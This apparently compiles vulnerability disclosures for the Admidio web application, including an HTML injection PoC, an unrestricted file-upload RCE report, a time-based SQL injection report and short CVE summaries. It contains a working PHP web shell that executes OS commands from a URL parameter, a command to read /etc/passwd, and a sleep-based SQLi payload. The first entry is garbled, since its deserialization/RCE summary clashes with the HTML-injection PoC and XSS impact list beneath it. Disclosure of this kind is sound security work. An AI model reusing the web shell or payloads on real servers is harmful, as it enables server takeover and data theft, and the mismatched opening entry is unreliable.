Summary An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
PoC 1. Go to https://www.admidio.org/demoen/admprogram/modules/messages/messages.php 2. Click on Send Private Message 3. In the Message field, enter the following payload Testing<br><h1>HTML</h1><br><h2>Injection</h2>
!image
4. Send the message 5. Open the message again
!image
Impact 1. Data Theft: Stealing sensitive information like cookies, session tokens, and user credentials. 2. Session Hijacking: Gaining unauthorized access to user accounts. 3. Phishing: Tricking users into revealing sensitive information. 4. Website Defacement: Altering the appearance or content of the website. 5. Malware Distribution: Spreading malware to users' devices. 6. Denial of Service (DoS): Overloading the server with malicious requests.
Description: Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidiobaseurl}/admmyfiles/messagesattachments/{filename}.
The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.
An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.
Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.
Impact: An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:
- Execute arbitrary code or commands. - Access, modify, or delete sensitive data. - Install malicious software or scripts. - Gain further access to internal networks. - Disrupt services and applications hosted on the server.
Recommendation:
- Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded. - Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.
Steps to Reproduce: 1. As a member user, go to write an email message. 2. Upload a PHP file in the Attachment, containing the following content: <?php $command = isset($GET['command']) ? $GET['command'] : ''; $output = []; $returnvar = 0; exec($command, $output, $returnvar); echo '<h1>Exploiting RCE</h1>'; echo 'Command: '.$command; echo '\n<pre>'; echo implode("\n", $output); echo '</pre>'; ?> 3. Send the email. 4. In the message history go to the sent message. 5. Download the file, to get the uploaded file name. 6. Go to the following URL: {admidiobaseurl}/admmyfiles/messagesattachments/{filename}?command=cat+/etc/passwd 7. The server's passwd file would be returned in the response.
Proof Of Concept:
!image
Figure 1: Code of messagessend.php, not having file extension verification.
!image
Figure 2: Uploading Webshell as attachment.
!image
Figure 3: Download the uploaded file to get the uploaded file name.
!image
Figure 4: Uploaded File name.
!image
Figure 5: RCE via web shell.
!image
Figure 6: RCE via Webshell.
Description: An SQL Injection has been identified in the /admprogram/modules/ecards/ecardsend.php source file of the Admidio Application. The SQL Injection results in a compromise of the application's database. The value of ecardrecipients POST parameter is being directly concatenated with the SQL query in the source code causing the SQL Injection.
The SQL Injection can be exploited by a member user, using blind condition-based, time-based, and Out of band interaction SQL Injection payloads. I successfully exploited SQL Injections by causing Time Delays. Advancing the payload, I was able to exfiltrate data from the database based on trial and error conditions and step-wise enumerating the characters of the database name. This was done as a POC of SQL Injection. An attacker could simply drop the database by providing a single payload, steal data, and potentially update the database according to their will.
Impact: SQL injection (SQLi) vulnerabilities can have serious consequences for the security of a web application and its underlying database. Attackers can use SQLi to access sensitive data, and modify, delete, or add data to the database. SQLi can also be potentially used to perform RCE.
Remediation: Use parameterized queries or prepared statements instead of concatenating user input directly into SQL queries. Parameterized queries ensure that user input is treated as data and not executable queries. OR Sanitize the input before including it in the SQL Query.
Steps to Reproduce: - Intercept the POST request to /admprogram/modules/ecards/ecardsend.php, which is used to send photo as greeting card. - Change the value of ecardrecipients%5B%5D POST parameter to 2%2bsleep(10). - Sending the request will cause a time delay.
Proof Of Concept:
!image Figure 1: Code Vulnerable to SQL Injection
!image Figure 2: Code Vulnerable to SQL Injection
!image Figure 3: SQLi to trigger time delay
!image Figure 4: Data Exfiltration via Condition-based Time Delays
Admidio v4.2.12 and below is vulnerable to Cross Site Scripting (XSS).
Insufficient Session Expiration in GitHub repository admidio/admidio prior to 4.2.11.
Admidio 4.1.2 version is affected by stored cross-site scripting (XSS).
Insufficient Session Expiration in GitHub repository admidio/admidio prior to 4.1.9.
Admidio is a free open source user management system for websites of organizations and groups. A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The Reflected XSS vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts. This issue is patched in version 4.0.12.
SQL Injection was discovered in Admidio before version 3.3.13. The main cookie parameter is concatenated into a SQL query without any input validation/sanitization, thus an attacker without logging in, can send a GET request with arbitrary SQL queries appended to the cookie parameter and execute SQL queries. The vulnerability impacts the confidentiality of the system. This has been patched in version 3.3.13.
admidio 3.2.8 has CSRF in admprogram/modules/members/membersfunction.php with an impact of deleting arbitrary user accounts.
Directory traversal vulnerability in modules/download/getfile.php in Admidio 1.4.8 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.